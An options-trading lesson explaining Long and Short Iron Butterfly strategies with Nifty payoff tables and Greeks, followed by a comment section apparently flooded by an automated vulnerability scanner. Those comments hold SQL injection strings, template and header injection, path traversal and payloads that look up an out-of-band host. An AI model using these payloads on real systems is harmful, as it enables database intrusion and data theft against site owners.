Long Iron Butterfly and Short Iron Butterfly

LONG IRON BUTTERFLY

Strategy Details
Strategy Type	Neutral on direction, but bullish on volatility
# of legs	4 (Short 1 Lower Strike Put + Long 1 Middle Strike Put + Long 1 Middle Strike Call + Short 1 Higher Strike Call)
Maximum Reward	Middle Strike Price - Lower Strike Price - Net Premium Paid
Maximum Risk	Limited to the extent of net premium paid
Lower Breakeven Price	Middle Strike Price - Net Premium Paid
Upper Breakeven Price	Middle Strike Price + Net Premium Paid
Payoff Calculation	Payoff of lower strike Short Put+ Payoff of middle strike Long Put + Payoff of middle strike Long Call + Payoff of higher strike Short Call

A Long Iron Butterfly is a strategy that involves selling a lower strike Put, buying a middle strike Put and Call having the same strike price, and selling a higher strike Call. Each of the options must belong to the same underlying and must have the same expiration date. The lower strike Put that is sold is an OTM Put, the higher strike Call that is sold is an OTM Call, while the middle strike Put and Call that are bought are ATM options. A Long Iron Butterfly is a combination of two strategies: Long Straddle and Short Strangle. Do not think much about these strategies for now because we will be talking about each of them in great detail in a later chapter. Alternatively, a Long Iron Butterfly is also a combination of two strategies that we have studied in the past: Bull Call Spread and Bear Put Spread. Meanwhile, an important thing to keep in mind when entering this strategy is that the lower and the higher strike price must be equidistant from the middle strike price.

A Long Iron Butterfly is a neutral strategy in terms of direction. This is because this strategy can profit either from a down move in the price of the underlying or from an up move. However, this strategy is bullish on volatility and benefits during times when volatility is rising, and vice versa. This is because the higher the volatility, the higher would be the probability of the position becoming profitable. A Long Iron Butterfly has two breakeven points: lower and upper. The position is unprofitable as long as the underlying price is within the two breakeven points and profitable when the underlying price is outside the two breakeven points. Both profits and losses under this strategy are limited. Maximum profit occurs when the underlying price falls below the lower strike or rises above the higher strike. Similarly, maximum loss occurs when the underlying price is exactly at the middle strike.

As Long Iron Butterfly involves selling OTM options and buying ATM options, this strategy is a net debit strategy. As you will later see, the maximum potential profit under this strategy is usually much smaller than the maximum potential loss. As a result, this strategy must preferably be initiated by experienced option traders only. Before initiating this strategy, one must always take into consideration the risk to reward ratio and must initiate only if this ratio is acceptable and worth trading for. Also, as we shall later see, Long Iron Butterfly has a similar payoff structure as a Short Call Butterfly or a Short Put Butterfly. However, there are differences. The major difference is that short Call/Put Butterfly strategies are net credit strategies, whereas Long Iron Butterfly is a net debit strategy.

Benefits of the Strategy

This strategy is direction neutral as the trader can profit from either direction, up or down
Maximum loss under this strategy is limited

Drawbacks of the Strategy

The cost/risk of this strategy tends to be much greater than the potential reward
There are chances that the trader could lose 100% of his net investment
When the underlying price is near the middle strike, a decline in volatility would hurt the position
A sharp move below the lower strike or above the higher strike would lead to an opportunity loss as maximum profit potential under this strategy is limited
Time decay would hurt the trader, especially when the position is unprofitable

Strategy Suggestions

See that you have a neutral view on the price direction, but you expect volatility to increase sharply once you have initiated the position
Ensure that the distance between the lower strike and the middle strike is equal to that between the middle strike and the higher strike
The spread between the strikes will be a trade-off between the cost/risk of the strategy and the reward potential
The narrow the difference between the adjacent strikes, the smaller will be the cost and the risk but so would be the reward, and vice versa
On the other hand, the narrow the difference between the adjacent strikes, the smaller would be the unprofitable zone, and vice versa
As this is a range bound strategy that benefits from rising volatility, ensure that you execute this strategy when expiration is far off, as this would give you sufficient time to go right
As the risk/cost tends to be higher than the reward, execute this strategy only when the risk reward ratio is acceptable to you
Ensure there is sufficient liquidity in the underlying that is being chosen to initiate this strategy

Option Greeks for Long Iron Butterfly

Greek	Notes
Delta	Delta is at or near zero at initiation. It tends to bottom out below zero when the underlying price falls below the lower strike and peak out above zero when the underlying price rises above the higher strike. That said, while Delta does become non-zero as the underlying price moves, it does not deviate much from zero. As such, changes in the price of the underlying do not have much impact on this strategy because of the way it is structured.
Gamma	Gamma is positive and is at its highest point at initiation. As the underlying price moves away from the middle strike and approaches either the lower or the higher strike, Gamma tends to move into negative before bottoming out around these extreme strikes.
Vega	Vega is positive and is at its highest point at initiation, meaning the positive impact of a rise in volatility is the highest around the middle strike. Volatility benefits as long as the position in unprofitable. That said, Vega turns negative when the position becomes profitable, meaning a rise in volatility now starts hurting the position.
Theta	Theta is negative and is at its lowest point at initiation, meaning time decay hurts the most around the middle strike. Time decay hurts the position as long as it is unprofitable. That said, Theta turns positive when the position becomes profitable, meaning time decay now starts benefiting the position.

Payoff of Long Iron Butterfly

The above is the payoff chart of a Long Iron Butterfly strategy. Notice that at initiation, this strategy is in the position of maximum loss. As the underlying price starts moving away from the middle strike, the loss starts reducing. Notice that the position is unprofitable as long as the underlying price is within the two breakeven points. It becomes profitable when the underlying price either falls below the lower breakeven point or rises above the upper breakeven point. Maximum profit under this strategy occurs when the underlying price either falls below the lower strike or rises above the higher strike. Meanwhile, maximum loss under this strategy is limited to the extent of net premium that is paid.

Example of Long Iron Butterfly

Let us say that Mr. ABC has looked at the chart of Nifty. He is of the opinion that the index could move in either direction in the short-term, but he expects volatility to pick up going forward. Based on this, let us say that he has decided to initiate a long Iron Butterfly strategy, wherein he will sell 1 OTM 9000 Put at ₹205, buy 1 ATM 9250 Put at ₹310, buy 1 ATM 9250 Call at ₹300, and sell 1 OTM 9500 Call at ₹175. Let us summarize the details of the strategy below:

Strike price of OTM shortPut = 9000
Strike price of ATM longPut = 9250
Strike price of ATM longCall = 9250
Strike price of OTM short Call = 9500
Short Put premium (lower strike) = ₹205
Long Put premium (middle strike) = ₹310
Long Call premium (middle strike) = ₹300
ShortCall premium (higher strike) = ₹175
Net Debit = ₹230 (310 + 300 - 205 - 175)
Net Debit (in value terms) = ₹17,250 (230 * 75)
Lower Breakeven point = 9020 (9250 - 230)
Upper Breakeven point = 9480 (9250 + 230)
Maximum reward = ₹1,500 ((9250 - 9000 - 230) * 75)
Maximum risk = ₹17,250

Now, let us assume a few scenarios in terms of where Nifty would be on the expiration date and the impact this would have on the profitability of the trade.

Underlying price at Expiration	Net Profit/Loss	Notes
7000	Profit of ₹1,500	Payoff = [205-Maximum of (9000-7000,0)]+[Maximum of (9250-7000,0)-310] + [Maximum of (7000-9250,0)-300] + [175-Maximum of (7000-9500,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
8000	Profit of ₹1,500	Payoff = [205-Maximum of (9000-8000,0)]+[Maximum of (9250-8000,0)-310] + [Maximum of (8000-9250,0)-300] + [175-Maximum of (8000-9500,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
9000	Profit of ₹1,500	Payoff = [205-Maximum of (9000-9000,0)]+[Maximum of (9250-9000,0)-310] + [Maximum of (9000-9250,0)-300] + [175-Maximum of (9000-9500,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
9010	Profit of ₹750	Payoff = [205-Maximum of (9000-9010,0)]+[Maximum of (9250-9010,0)-310] + [Maximum of (9010-9250,0)-300] + [175-Maximum of (9010-9500,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
9020	No profit, No loss	Payoff = [205-Maximum of (9000-9020,0)]+[Maximum of (9250-9020,0)-310] + [Maximum of (9020-9250,0)-300] + [175-Maximum of (9020-9500,0)]. As the underlying price at expiration is equal to the lower breakeven point, the trader will neither make a profit nor incur a loss
9200	Loss of ₹13,500	Payoff = [205-Maximum of (9000-9200,0)]+[Maximum of (9250-9200,0)-310] + [Maximum of (9200-9250,0)-300] + [175-Maximum of (9200-9500,0)]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
9250	Loss of ₹17,250	Payoff = [205-Maximum of (9000-9250,0)]+[Maximum of (9250-9250,0)-310] + [Maximum of (9250-9250,0)-300] + [175-Maximum of (9250-9500,0)]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
9400	Loss of ₹6,000	Payoff = [205-Maximum of (9000-9400,0)]+[Maximum of (9250-9400,0)-310] + [Maximum of (9400-9250,0)-300] + [175-Maximum of (9400-9500,0)]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
9480	No profit, No loss	Payoff = [205-Maximum of (9000-9480,0)]+[Maximum of (9250-9480,0)-310] + [Maximum of (9480-9250,0)-300] + [175-Maximum of (9480-9500,0)]. As the underlying price at expiration is equal to the upper breakeven point, the trader will neither make a profit nor incur a loss
9490	Profit of ₹750	Payoff = [205-Maximum of (9000-9490,0)]+[Maximum of (9250-9490,0)-310] + [Maximum of (9490-9250,0)-300] + [175-Maximum of (9490-9500,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit
9500	Profit of ₹1,500	Payoff = [205-Maximum of (9000-9500,0)]+[Maximum of (9250-9500,0)-310] + [Maximum of (9500-9250,0)-300] + [175-Maximum of (9500-9500,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit
10000	Profit of ₹1,500	Payoff = [205-Maximum of (9000-10000,0)]+[Maximum of (9250-10000,0)-310] + [Maximum of (10000-9250,0)-300] + [175-Maximum of (10000-9500,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit
12000	Profit of ₹1,500	Payoff = [205-Maximum of (9000-12000,0)]+[Maximum of (9250-12000,0)-310] + [Maximum of (12000-9250,0)-300] + [175-Maximum of (12000-9500,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit

In the above table, notice that maximum profit is limited to ₹1,500 and occurs when Nifty is either below the lower strike of 9000 or above the upper strike of 9500. On the other hand, observe that maximum loss is limited to the extent of net premium paid i.e. ₹17,250 and occurs when Nifty is exactly at the middle strike. Notice that the maximum risk for this particular strategy is 11.5 times the maximum reward. This is one of the biggest drawbacks of this strategy - risk tends to be much higher than the reward. Hence, this strategy is primarily meant for professional option traders only.

SHORT IRON BUTTERFLY

Strategy Details
Strategy Type	Neutral on direction and bearish on volatility
# of legs	4 (Long 1 Lower Strike Put + Short 1 Middle Strike Put + Short 1 Middle Strike Call + Long 1 Higher Strike Call)
Maximum Reward	Limited to the extent of net premium received
Maximum Risk	Middle Strike Price - Lower Strike Price - Net Premium Received
Lower Breakeven Price	Middle Strike Price - Net Premium Received
Upper Breakeven Price	Middle Strike Price + Net Premium Received
Payoff Calculation	Payoff of lower strike Long Put+ Payoff of middle strike Short Put + Payoff of middle strike Short Call + Payoff of higher strike Long Call

Explanation of the Strategy

A Short Iron Butterfly is a strategy that involves buying a lower strike Put, selling a middle strike Put and Call having the same strike price, and buying a higher strike Call. Each of these options must have the same underlying and expiration date. The lower strike Put that is bought is an OTM Put, the higher strike Call that is bought is an OTM Call, while the middle strike Put and Call that are sold are ATM options. This strategy is a combination of a Short Straddle and a Long Strangle, each of which would be discussed in the coming chapters. Meanwhile, an important thing to keep in mind when trading this strategy is that the lower and the higher strikes must be equidistant from the middle strike.

A Short Iron Butterfly is a neutral strategy in terms of direction. The trader who initiates this strategy would want the underlying price to consolidate near the middle strike price until expiration. Hence, it can be said that this strategy is bearish on volatility and benefits during times when volatility is reducing. A Short Iron Butterfly has two breakeven points: lower and upper. The position is profitable as long as the underlying price is within the breakeven points and unprofitable when the underlying price is outside the breakeven points. Both profits and losses under this strategy are limited. Maximum profit occurs when the underlying price is exactly at the middle strike, while maximum loss occurs when the underlying either falls below the lower strike or rises above the higher strike.

As Short Iron Butterfly involves buying OTM options and selling ATM options, this strategy is a net credit strategy. In terms of the risk to reward profile, a Short Iron Butterfly is quite attractive. In absolute terms, the maximum potential profit under this strategy is usually much larger than the maximum potential loss. As a result, this strategy can be initiated by intermediate option traders as well. Also, as we shall later see, Short Iron Butterfly has a similar payoff structure as a Long Call Butterfly or a Long Put Butterfly. However, there are differences. The major difference is that Long Call/Put Butterfly strategies are net debit strategies, while Short Iron Butterfly is a net credit strategy.

Benefits of the Strategy

This is a net credit strategy
The risk of this strategy tends to be much smaller than the potential reward
Time decay benefits the position, as long as it is profitable
Maximum loss under this strategy is limited

Drawbacks of the Strategy

When the underlying price is near the middle strike, a rise in volatility would hurt the position
If the underlying price moves outside one of the two breakeven points, the trader will incur a loss

Strategy Suggestions

Ensure that you expect the underlying to remain in a range and consolidate near the middle strike
Ensure that you have a bearish stance on volatility, and it is likely to reduce once you have initiated the position
Ensure that the distance between the lower strike and the middle strike is equal to that between the middle strike and the higher strike
The spread between the strikes will be a trade-off between the risk and the reward
The wider the difference between the adjacent strikes, the higher will be the risk but so would be the reward, and vice versa
Also, the wider the difference between the adjacent strikes, the larger would be the profit making zone, and vice versa
As this is a range bound strategy that benefits from falling volatility, ensure that you execute this strategy when there is less time to expiration, as this would give you less time to go wrong
Ensure there is sufficient liquidity in the underlying that is being chosen to initiate this strategy

Option Greeks for Short Iron Butterfly

Greek	Notes
Delta	Delta is at or near zero at initiation. It tends to peak out above zero when the underlying price is below the lower strike and bottom out below zero when the underlying price is above the higher strike. That said, while Delta does become non-zero as the underlying price moves, it does not deviate much from zero. As such, changes in the price of the underlying do not have much impact on this strategy because of the way it is structured.
Gamma	Gamma is negative and is at its lowest point at initiation. As the underlying price moves away from the middle strike and approaches either the lower or the higher strike, Gamma tends to move into positive before peaking out around these extreme strikes.
Vega	Vega is negative and is at its lowest point at initiation, meaning the negative impact of a rise in volatility is the highest at the middle strike. Volatility hurts as long as the position in profitable. That said, Vega turns positive when the position becomes unprofitable, meaning a rise in volatility now starts helping the position.
Theta	Theta is positive and is at its highest point at initiation, meaning time decay is most helpful around the middle strike. Time decay benefits the position as long as it is profitable. That said, Theta turns negative when the position becomes unprofitable, meaning time decay now starts hurting the position.

Payoff of Short Iron Butterfly

The above is the payoff chart of a Short Iron Butterfly strategy. Notice that the strategy is profitable as long as the underlying price is within the confines of the two breakeven point and is unprofitable when the underlying price is either below the lower breakeven or above the upper breakeven. Notice that maximum profit under this strategy occurs when the underlying price is exactly at the middle strike. This profit, however, is limited to the extent of the net premium received. On the other hand, maximum loss under this strategy occurs when the underlying price is either below the lower strike or above the higher strike. In either case, the maximum loss is limited to the extent of the difference between the two adjacent strikes less the net premium received.

Example of Short Iron Butterfly

Let us say that Mr. ABC has looked at the chart of Nifty. He is of the opinion that the index will consolidate near the current level in the short-term with falling bouts of volatility. Based on this, let us say that he has decided to initiate a Short Iron Butterfly strategy, wherein he will buy 1 OTM 9000 Put at ₹205, sell 1 ATM 9250 Put at ₹310, sell 1 ATM 9250 Call at ₹300, and buy 1 OTM 9500 Call at ₹175. Let us summarize the details of the strategy below:

Strike price of OTM longPut = 9000
Strike price of ATM shortPut = 9250
Strike price of ATM shortCall = 9250
Strike price of OTM long Call = 9500
Long Put premium (lower strike) = ₹205
Short Put premium (middle strike) = ₹310
Short Call premium (middle strike) = ₹300
LongCall premium (higher strike) = ₹175
Net Credit = ₹230 (310 + 300 - 205 - 175)
Net Credit (in value terms) = ₹17,250 (230 * 75)
Lower Breakeven point = 9020 (9250 - 230)
Upper Breakeven point = 9480 (9250 + 230)
Maximum reward = ₹17,250
Maximum risk = ₹1,500 ((9250 - 9000 - 230) * 75)

Now, let us assume a few scenarios in terms of where Nifty would be on the expiration date and the impact this would have on the profitability of the trade.

Underlying price at Expiration	Net Profit/Loss	Notes
7000	Loss of ₹1,500	Payoff = [Maximum of (9000-7000,0)-205]+[310-Maximum of (9250-7000,0)] + [300-Maximum of (7000-9250,0)] + [Maximum of (7000-9500,0)-175]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
8000	Loss of ₹1,500	Payoff = [Maximum of (9000-8000,0)-205]+[310-Maximum of (9250-8000,0)] + [300-Maximum of (8000-9250,0)] + [Maximum of (8000-9500,0)-175]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
9000	Loss of ₹1,500	Payoff = [Maximum of (9000-9000,0)-205]+[310-Maximum of (9250-9000,0)] + [300-Maximum of (9000-9250,0)] + [Maximum of (9000-9500,0)-175]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
9010	Loss of ₹750	Payoff = [Maximum of (9000-9010,0)-205]+[310-Maximum of (9250-9010,0)] + [300-Maximum of (9010-9250,0)] + [Maximum of (9010-9500,0)-175]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
9020	No profit, No loss	Payoff = [Maximum of (9000-9020,0)-205]+[310-Maximum of (9250-9020,0)] + [300-Maximum of (9020-9250,0)] + [Maximum of (9020-9500,0)-175]. As the underlying price at expiration is equal to the lower breakeven point, the trader will neither make a profit nor incur a loss
9200	Profit of ₹13,500	Payoff = [Maximum of (9000-9200,0)-205]+[310-Maximum of (9250-9200,0)] + [300-Maximum of (9200-9250,0)] + [Maximum of (9200-9500,0)-175]. As the underlying price at expiration is between the two breakeven points, the trader will earn a profit
9250	Profit of ₹17,250	Payoff = [Maximum of (9000-9250,0)-205]+[310-Maximum of (9250-9250,0)] + [300-Maximum of (9250-9250,0)] + [Maximum of (9250-9500,0)-175]. As the underlying price at expiration is between the two breakeven points, the trader will earn a profit
9400	Profit of ₹6,000	Payoff = [Maximum of (9000-9400,0)-205]+[310-Maximum of (9250-9400,0)] + [300-Maximum of (9400-9250,0)] + [Maximum of (9400-9500,0)-175]. As the underlying price at expiration is between the two breakeven points, the trader will earn a profit
9480	No profit, No loss	Payoff = [Maximum of (9000-9480,0)-205]+[310-Maximum of (9250-9480,0)] + [300-Maximum of (9480-9250,0)] + [Maximum of (9480-9500,0)-175]. As the underlying price at expiration is equal to the upper breakeven point, the trader will neither make a profit nor incur a loss
9490	Loss of ₹750	Payoff = [Maximum of (9000-9490,0)-205]+[310-Maximum of (9250-9490,0)] + [300-Maximum of (9490-9250,0)] + [Maximum of (9490-9500,0)-175]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss
9500	Loss of ₹1,500	Payoff = [Maximum of (9000-9500,0)-205]+[310-Maximum of (9250-9500,0)] + [300-Maximum of (9500-9250,0)] + [Maximum of (9500-9500,0)-175]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss
10000	Loss of ₹1,500	Payoff = [Maximum of (9000-10000,0)-205]+[310-Maximum of (9250-10000,0)] + [300-Maximum of (10000-9250,0)] + [Maximum of (10000-9500,0)-175]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss
12000	Loss of ₹1,500	Payoff = [Maximum of (9000-12000,0)-205]+[310-Maximum of (9250-12000,0)] + [300-Maximum of (12000-9250,0)] + [Maximum of (12000-9500,0)-175]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss

In the above table, notice that maximum loss is limited to ₹1,500 and occurs when Nifty is either below the lower strike of 9000 or above the upper strike of 9500. On the other hand, observe that maximum profit is limited to the extent of net premium received i.e. ₹17,250 and occurs when Nifty is exactly at the middle strike of 9250. Notice that this strategy is quite attractive from a risk-reward perspective, as maximum reward for this specific strategy is 11.5 times the maximum risk.

Next Chapter

Long Call Condor and Short Call Condor

17 Lessons

In this chapter, we shall discuss two option strategies: Long Call Condor and Short Call Condor. We shall talk about the various aspects of these two strategies including payoffs, Greeks, and illustrations with examples.

Long Put Condor and Short Put Condor

15 Lessons

In this chapter, we shall discuss two option strategies: Long Put Condor and Short Put Condor. We shall talk about the various aspects of these two strategies including payoffs, Greeks, and illustrations with examples.

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-1 OR 2+552-552-1=0+0+0+1 -- commented on November 9th, 2023 at 4:41 PM
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-1' OR 2+419-419-1=0+0+0+1 or 'ZPGBjfT7'=' commented on November 9th, 2023 at 4:42 PM
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-1" OR 2+782-782-1=0+0+0+1 -- commented on November 9th, 2023 at 4:42 PM
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if(now()=sysdate(),sleep(15),0) commented on November 9th, 2023 at 4:42 PM
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0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z commented on November 9th, 2023 at 4:43 PM
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0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z commented on November 9th, 2023 at 4:44 PM
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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ commented on November 9th, 2023 at 4:45 PM
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1 waitfor delay '0:0:15' -- commented on November 9th, 2023 at 4:46 PM
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VOeaOxFW'; waitfor delay '0:0:15' -- commented on November 9th, 2023 at 4:47 PM
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tb1abvm4' OR 538=(SELECT 538 FROM PG_SLEEP(15))-- commented on November 9th, 2023 at 4:48 PM
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wrBEIRqX commented on November 9th, 2023 at 4:52 PM
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wrBEIRqX commented on November 9th, 2023 at 4:52 PM
-1 OR 2+661-661-1=0+0+0+1 --

wrBEIRqX commented on November 9th, 2023 at 4:52 PM
-1 OR 2+204-204-1=0+0+0+1

wrBEIRqX commented on November 9th, 2023 at 4:52 PM
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wrBEIRqX commented on November 9th, 2023 at 4:52 PM
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wrBEIRqX commented on November 9th, 2023 at 4:52 PM
-1" OR 2+925-925-1=0+0+0+1 --

wrBEIRqX commented on November 9th, 2023 at 4:53 PM
if(now()=sysdate(),sleep(15),0)

wrBEIRqX commented on November 9th, 2023 at 4:54 PM
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

wrBEIRqX commented on November 9th, 2023 at 4:55 PM
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

wrBEIRqX commented on November 9th, 2023 at 4:56 PM
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

wrBEIRqX commented on November 9th, 2023 at 4:57 PM
-1; waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 4:58 PM
-1); waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 4:58 PM
1 waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 4:59 PM
E8d4UAvI'; waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 5:00 PM
-5 OR 153=(SELECT 153 FROM PG_SLEEP(15))--

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wrBEIRqX commented on November 9th, 2023 at 5:01 PM
-1)) OR 164=(SELECT 164 FROM PG_SLEEP(15))--

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VM7SI88N' OR 72=(SELECT 72 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 5:03 PM
Iu6Dnxrv') OR 986=(SELECT 986 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 5:04 PM
rNnc0NBL')) OR 717=(SELECT 717 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 5:05 PM
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

wrBEIRqX commented on November 9th, 2023 at 5:06 PM
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

wrBEIRqX commented on November 9th, 2023 at 5:06 PM
1'"

wrBEIRqX commented on November 9th, 2023 at 5:06 PM
@@GTxCQ

wrBEIRqX commented on November 9th, 2023 at 5:07 PM
555

wrBEIRqX commented on November 9th, 2023 at 5:08 PM
555

wrBEIRqX commented on November 9th, 2023 at 5:09 PM
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wrBEIRqX commented on November 9th, 2023 at 5:10 PM
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wrBEIRqX commented on November 9th, 2023 at 5:11 PM
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wrBEIRqX commented on November 9th, 2023 at 5:12 PM
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wrBEIRqX commented on November 9th, 2023 at 5:13 PM
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wrBEIRqX commented on November 9th, 2023 at 5:14 PM
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wrBEIRqX commented on November 9th, 2023 at 5:15 PM
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wrBEIRqX commented on November 9th, 2023 at 5:16 PM
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wrBEIRqX commented on November 9th, 2023 at 5:17 PM
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wrBEIRqX commented on November 9th, 2023 at 5:18 PM
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wrBEIRqX commented on November 9th, 2023 at 5:19 PM
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wrBEIRqX commented on November 9th, 2023 at 5:20 PM
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wrBEIRqX commented on November 9th, 2023 at 5:21 PM
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wrBEIRqX commented on November 9th, 2023 at 5:22 PM
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wrBEIRqX commented on November 9th, 2023 at 5:23 PM
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wrBEIRqX commented on November 9th, 2023 at 5:24 PM
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wrBEIRqX commented on November 9th, 2023 at 5:25 PM
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wrBEIRqX commented on November 9th, 2023 at 5:26 PM
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wrBEIRqX commented on November 9th, 2023 at 5:27 PM
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wrBEIRqX commented on November 9th, 2023 at 5:28 PM
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wrBEIRqX commented on November 9th, 2023 at 5:35 PM
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wrBEIRqX commented on November 9th, 2023 at 5:36 PM
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wrBEIRqX commented on November 9th, 2023 at 5:45 PM
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wrBEIRqX commented on November 9th, 2023 at 10:08 PM
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zbdrariI commented on November 13th, 2023 at 1:16 AM
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zbdrariI commented on November 13th, 2023 at 1:18 AM
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zbdrariI commented on November 13th, 2023 at 1:19 AM
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zbdrariI commented on November 13th, 2023 at 1:20 AM
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zbdrariI commented on November 13th, 2023 at 1:21 AM
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1'" commented on November 13th, 2023 at 1:22 AM
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@@rVRqe commented on November 13th, 2023 at 1:22 AM
555

zbdrariI commented on November 13th, 2023 at 1:22 AM
555

zbdrariI commented on November 13th, 2023 at 1:25 AM
1'"

zbdrariI commented on November 13th, 2023 at 1:25 AM
@@AGOvZ

zbdrariI commented on November 13th, 2023 at 1:25 AM
555

zbdrariI commented on November 13th, 2023 at 1:26 AM
555

zbdrariI commented on November 13th, 2023 at 1:27 AM
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zbdrariI commented on November 13th, 2023 at 1:28 AM
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zbdrariI commented on November 13th, 2023 at 1:30 AM
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zbdrariI commented on November 13th, 2023 at 1:32 AM
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zbdrariI commented on November 13th, 2023 at 2:48 AM
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zbdrariI commented on November 13th, 2023 at 2:49 AM
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zbdrariI commented on November 13th, 2023 at 2:50 AM
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zbdrariI commented on December 2nd, 2023 at 8:31 AM
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zbdrariI commented on December 2nd, 2023 at 8:36 AM
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zbdrariI commented on December 2nd, 2023 at 8:37 AM
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zbdrariI commented on December 2nd, 2023 at 8:42 AM
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zbdrariI commented on December 2nd, 2023 at 8:43 AM
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1'" commented on December 2nd, 2023 at 8:47 AM
555

@@QmpRx commented on December 2nd, 2023 at 8:47 AM
555

zbdrariI commented on December 2nd, 2023 at 8:48 AM
555

zbdrariI commented on December 2nd, 2023 at 8:49 AM
555

zbdrariI commented on December 2nd, 2023 at 8:55 AM
1'"

zbdrariI commented on December 2nd, 2023 at 8:55 AM
@@fXEiP

zbdrariI commented on December 2nd, 2023 at 8:56 AM
555

zbdrariI commented on December 2nd, 2023 at 9:01 AM
555

zbdrariI commented on December 2nd, 2023 at 9:02 AM
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zbdrariI commented on December 2nd, 2023 at 9:05 AM
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zbdrariI commented on December 2nd, 2023 at 9:06 AM
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zbdrariI commented on December 2nd, 2023 at 9:11 AM
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zbdrariI commented on December 2nd, 2023 at 9:18 AM
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zbdrariI commented on December 2nd, 2023 at 11:52 AM
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zbdrariI commented on December 2nd, 2023 at 11:53 AM
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zbdrariI commented on December 2nd, 2023 at 11:54 AM
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WkYxnTGh commented on December 2nd, 2023 at 7:40 PM
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WkYxnTGh commented on December 2nd, 2023 at 7:44 PM
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WkYxnTGh commented on December 2nd, 2023 at 7:51 PM
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1'" commented on December 2nd, 2023 at 7:56 PM
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@@m753j commented on December 2nd, 2023 at 7:56 PM
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WkYxnTGh commented on December 2nd, 2023 at 7:57 PM
555

WkYxnTGh commented on December 2nd, 2023 at 8:05 PM
1'"

WkYxnTGh commented on December 2nd, 2023 at 8:05 PM
@@1V8Ft

WkYxnTGh commented on December 2nd, 2023 at 8:06 PM
555

WkYxnTGh commented on December 2nd, 2023 at 8:10 PM
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WkYxnTGh commented on December 2nd, 2023 at 8:11 PM
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WkYxnTGh commented on December 2nd, 2023 at 8:15 PM
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WkYxnTGh commented on December 2nd, 2023 at 8:16 PM
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WkYxnTGh commented on December 2nd, 2023 at 8:17 PM
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WkYxnTGh commented on December 2nd, 2023 at 8:22 PM
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WkYxnTGh commented on December 2nd, 2023 at 8:30 PM
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WkYxnTGh commented on December 2nd, 2023 at 11:19 PM
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WkYxnTGh commented on December 2nd, 2023 at 11:21 PM
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WkYxnTGh commented on December 2nd, 2023 at 11:22 PM
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fKxorhrg commented on December 11th, 2023 at 2:44 PM
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fKxorhrg commented on December 11th, 2023 at 2:47 PM
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1CbZQXEykeO commented on December 11th, 2023 at 2:47 PM
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fKxorhrg commented on December 11th, 2023 at 2:47 PM
555

fKxorhrg commented on December 11th, 2023 at 2:48 PM
1BAMETLeTCO

fKxorhrg commented on December 11th, 2023 at 2:49 PM
1BAMETLeTCO

fKxorhrg commented on December 11th, 2023 at 2:49 PM
555

fKxorhrg commented on December 11th, 2023 at 2:50 PM
555

fKxorhrg commented on December 11th, 2023 at 2:51 PM
1'"

fKxorhrg bcc:[email protected] commented on December 11th, 2023 at 2:51 PM
555

fKxorhrg commented on December 11th, 2023 at 2:51 PM
1'"

fKxorhrg commented on December 11th, 2023 at 2:51 PM
555

[email protected]> bcc:[email protected] commented on December 11th, 2023 at 2:51 PM
555

fKxorhrg commented on December 11th, 2023 at 2:51 PM
555
bcc:[email protected]

${9999743+9999408} commented on December 11th, 2023 at 2:51 PM
555

fKxorhrg commented on December 11th, 2023 at 2:51 PM
[email protected]>
bcc:[email protected]

fKxorhrg commented on December 11th, 2023 at 2:51 PM
555

fKxorhrg commented on December 11th, 2023 at 2:51 PM
${10000087+9999489}

fKxorhrg commented on December 11th, 2023 at 2:51 PM
555

fKxorhrg commented on December 11th, 2023 at 2:52 PM
555

M1ZwR3YzMk8= commented on December 11th, 2023 at 2:52 PM
555

../fKxorhrg commented on December 11th, 2023 at 2:52 PM
555

fKxorhrg commented on December 11th, 2023 at 2:52 PM
555

fKxorhrg commented on December 11th, 2023 at 2:52 PM
../555

fKxorhrg commented on December 11th, 2023 at 2:52 PM
@@TUuEA

fKxorhrg commented on December 11th, 2023 at 2:52 PM
555

'.gethostbyname(lc('hitpk'.'hpgwnzwz99f54.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(74).chr(113).chr(77).' commented on December 11th, 2023 at 2:53 PM
555

fKxorhrg commented on December 11th, 2023 at 2:53 PM
../555

) commented on December 11th, 2023 at 2:53 PM
555

!(()&&!|*|*| commented on December 11th, 2023 at 2:53 PM
555

".gethostbyname(lc("hitsl"."boaxcygu970a6.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(84).chr(105).chr(76)." commented on December 11th, 2023 at 2:53 PM
555

